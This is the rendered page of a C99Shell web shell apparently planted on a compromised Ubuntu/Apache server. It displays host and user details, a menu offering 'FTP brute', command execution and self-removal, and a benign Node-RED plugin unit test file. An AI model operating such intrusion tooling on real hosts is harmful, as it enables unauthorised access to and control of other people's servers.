!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/node-red/test/unit/@node-red/runtime/lib/api/   drwxr-xr-x
Free 13.21 GB of 57.97 GB (22.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     plugins_spec.js (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const should = require("should");
const sinon = require("sinon");

const NR_TEST_UTILS = require("nr-test-utils");
const plugins = NR_TEST_UTILS.require("@node-red/runtime/lib/api/plugins")

const mockLog = () => ({
    log: sinon.stub(),
    debug: sinon.stub(),
    trace: sinon.stub(),
    warn: sinon.stub(),
    info: sinon.stub(),
    metric: sinon.stub(),
    audit: sinon.stub(),
    _: function() { return "abc"}
})

describe("runtime-api/plugins", function() {
    const pluginList = [{id:"one",module:'test-module'},{id:"two",module:"node-red"}];
    const pluginConfigs = "123";

    describe("getPluginList", function() {
        it("gets the plugin list", function() {
            plugins.init({
                log: mockLog(),
                plugins: {
                    getPluginList: function() { return pluginList}
                }
            });
            return plugins.getPluginList({}).then(function(result) {
                result.should.eql(pluginList);
            })
        });
    });
    describe("getPluginConfigs", function() {
        it("gets the plugin configs", function() {
            plugins.init({
                log: mockLog(),
                plugins: {
                    getPluginConfigs: function() { return pluginConfigs}
                }
            });
            return plugins.getPluginConfigs({}).then(function(result) {
                result.should.eql(pluginConfigs);
            })
        });
    });
    describe("getPluginCatalogs", function() {
        it("gets the plugin catalogs", function() {
            plugins.init({
                log: mockLog(),
                plugins: {
                    getPluginList: function() { return pluginList}
                },
                i18n: {
                    i: {
                        changeLanguage: function(lang,done) { done && done() },
                        getResourceBundle: function(lang, id) { return {lang,id}}
                    }
                }
            });
            return plugins.getPluginCatalogs({lang: "en-US"}).then(function(result) {
                JSON.stringify(result).should.eql(JSON.stringify({ one: { lang: "en-US", id: "one" } }))
            })
        });
    });

});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0078 ]--